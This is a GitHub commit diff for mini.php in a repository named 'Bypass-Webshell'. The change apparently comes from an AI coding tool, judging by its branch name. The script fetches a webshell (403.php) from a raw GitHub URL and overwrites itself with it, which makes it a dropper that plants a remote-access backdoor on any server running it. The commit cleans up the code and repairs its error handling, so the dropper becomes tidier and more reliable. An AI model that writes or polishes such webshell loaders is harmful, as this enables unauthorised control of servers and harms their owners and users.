Skip to content

Commit b18219a

Browse files
authored
Merge pull request #4 from sagsooz/v483y2-codex/fix-bug-in-important-code-section
Fix undefined constant in mini.php
2 parents 92f0368 + c4c9e32 commit b18219a

File tree

1 file changed

+15
-4
lines changed

1 file changed

+15
-4
lines changed

mini.php

Lines changed: 15 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,17 @@
11
<?php
2-
$encodedUrl = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/403.php';
3-
$encodedContent = file_get_contents($encodedUrl);
4-
$decodedContent = base64_encode($encodedContent);
5-
if(file_put_contents('mini.php' ,base64_decode($decodedContent))){echo "File : mini.php Success !";}else{echo error;}
2+
// Download 403.php from GitHub and write it to mini.php.
3+
// The original version attempted to echo an undefined constant
4+
// on failure which caused a PHP notice. It also used confusing
5+
// variable names. This version clarifies the logic and properly
6+
// prints an error message.
7+
8+
$remoteUrl = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/403.php';
9+
$remoteContent = file_get_contents($remoteUrl);
10+
$encodedContent = base64_encode($remoteContent);
11+
12+
if (file_put_contents('mini.php', base64_decode($encodedContent))) {
13+
echo "File : mini.php Success !";
14+
} else {
15+
echo "Error";
16+
}
617
?>

0 commit comments

Comments
 (0)